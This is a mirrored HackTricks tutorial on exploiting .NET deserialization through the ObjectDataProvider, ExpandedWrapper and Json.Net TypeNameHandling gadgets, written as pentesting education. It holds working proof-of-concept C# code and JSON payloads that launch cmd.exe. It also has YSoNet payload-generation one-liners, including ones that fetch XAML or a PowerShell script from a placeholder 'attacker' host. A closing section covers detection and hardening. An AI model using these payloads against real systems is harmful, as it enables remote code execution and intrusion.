mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
248 lines
13 KiB
Markdown
248 lines
13 KiB
Markdown
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.
|
||
|
||
## ObjectDataProvider Gadget
|
||
|
||
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
|
||
Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters**_ to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\
|
||
Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**
|
||
|
||
### **How is this possible**
|
||
|
||
The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented.
|
||
|
||
Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
|
||
|
||
.png>)
|
||
|
||
As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:
|
||
|
||
.png>)
|
||
|
||
Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:
|
||
|
||
.png>)
|
||
|
||
Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:
|
||
|
||
.png>)
|
||
|
||
Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.
|
||
|
||
If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code:
|
||
|
||
```java
|
||
using System.Windows.Data;
|
||
using System.Diagnostics;
|
||
|
||
namespace ODPCustomSerialExample
|
||
{
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
ObjectDataProvider myODP = new ObjectDataProvider();
|
||
myODP.ObjectType = typeof(Process);
|
||
myODP.MethodParameters.Add("cmd.exe");
|
||
myODP.MethodParameters.Add("/c calc.exe");
|
||
myODP.MethodName = "Start";
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
|
||
|
||
## ExpandedWrapper
|
||
|
||
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||
|
||
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
|
||
This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
|
||
|
||
You can check this wrapper with the following code:
|
||
|
||
```java
|
||
using System.Windows.Data;
|
||
using System.Diagnostics;
|
||
using System.Data.Services.Internal;
|
||
|
||
namespace ODPCustomSerialExample
|
||
{
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
|
||
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
|
||
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
|
||
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
|
||
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
|
||
myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
## Json.Net
|
||
|
||
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
|
||
|
||
### Json.Net example
|
||
|
||
First of all lets see an example on how to **serialize/deserialize** an object using this library:
|
||
|
||
```java
|
||
using System;
|
||
using Newtonsoft.Json;
|
||
using System.Diagnostics;
|
||
using System.Collections.Generic;
|
||
|
||
namespace DeserializationTests
|
||
{
|
||
public class Account
|
||
{
|
||
public string Email { get; set; }
|
||
public bool Active { get; set; }
|
||
public DateTime CreatedDate { get; set; }
|
||
public IList<string> Roles { get; set; }
|
||
}
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
Account account = new Account
|
||
{
|
||
Email = "james@example.com",
|
||
Active = true,
|
||
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
|
||
Roles = new List<string>
|
||
{
|
||
"User",
|
||
"Admin"
|
||
}
|
||
};
|
||
//Serialize the object and print it
|
||
string json = JsonConvert.SerializeObject(account);
|
||
Console.WriteLine(json);
|
||
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
|
||
|
||
//Deserialize it
|
||
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
|
||
Console.WriteLine(desaccount.Email);
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
### Abusing Json.Net
|
||
|
||
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
|
||
|
||
```java
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||
{
|
||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||
'MethodName':'Start',
|
||
'MethodParameters':{
|
||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||
'$values':['cmd', '/c calc.exe']
|
||
},
|
||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||
}
|
||
```
|
||
|
||
In this code you can **test the exploit**, just run it and you will see that a calc is executed:
|
||
|
||
```java
|
||
using System;
|
||
using System.Text;
|
||
using Newtonsoft.Json;
|
||
|
||
namespace DeserializationTests
|
||
{
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
//Declare exploit
|
||
string userdata = @"{
|
||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||
'MethodName':'Start',
|
||
'MethodParameters':{
|
||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||
'$values':['cmd', '/c calc.exe']
|
||
},
|
||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||
}";
|
||
//Exploit to base64
|
||
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
|
||
|
||
//Get data from base64
|
||
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
|
||
//Deserialize data
|
||
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
|
||
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
|
||
{
|
||
TypeNameHandling = TypeNameHandling.Auto
|
||
});
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
|
||
|
||
The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**. Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.
|
||
|
||
Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
|
||
|
||
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|
||
|--------------|----------------------|--------------------|------------------|
|
||
| **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||
| **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||
| **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||
| **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *compiles* or *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||
| **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||
| **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||
|
||
> [!TIP]
|
||
> All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
|
||
|
||
### Building / Installing YSoNet
|
||
|
||
If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:
|
||
|
||
```powershell
|
||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
|
||
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
|
||
|
||
git clone https://github.com/irsdl/ysonet
|
||
cd ysonet
|
||
nuget restore ysonet.sln
|
||
msbuild ysonet.sln -p:Configuration=Release
|
||
```
|
||
|
||
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
|
||
|
||
### Detection & Hardening
|
||
* **Detect** unexpected child processes of `w3wp.exe`, `PowerShell.exe`, or any process deserialising user-supplied data (e.g. `MessagePack`, `Json.NET`).
|
||
* Enable and **enforce type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) whenever the legacy `BinaryFormatter` / `NetDataContractSerializer` cannot be removed.
|
||
* Where possible migrate to **`System.Text.Json`** or **`DataContractJsonSerializer`** with whitelist-based converters.
|
||
* Block dangerous WPF assemblies (`PresentationFramework`, `System.Workflow.*`) from being loaded in web processes that should never need them.
|
||
|
||
## References
|
||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
|
||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|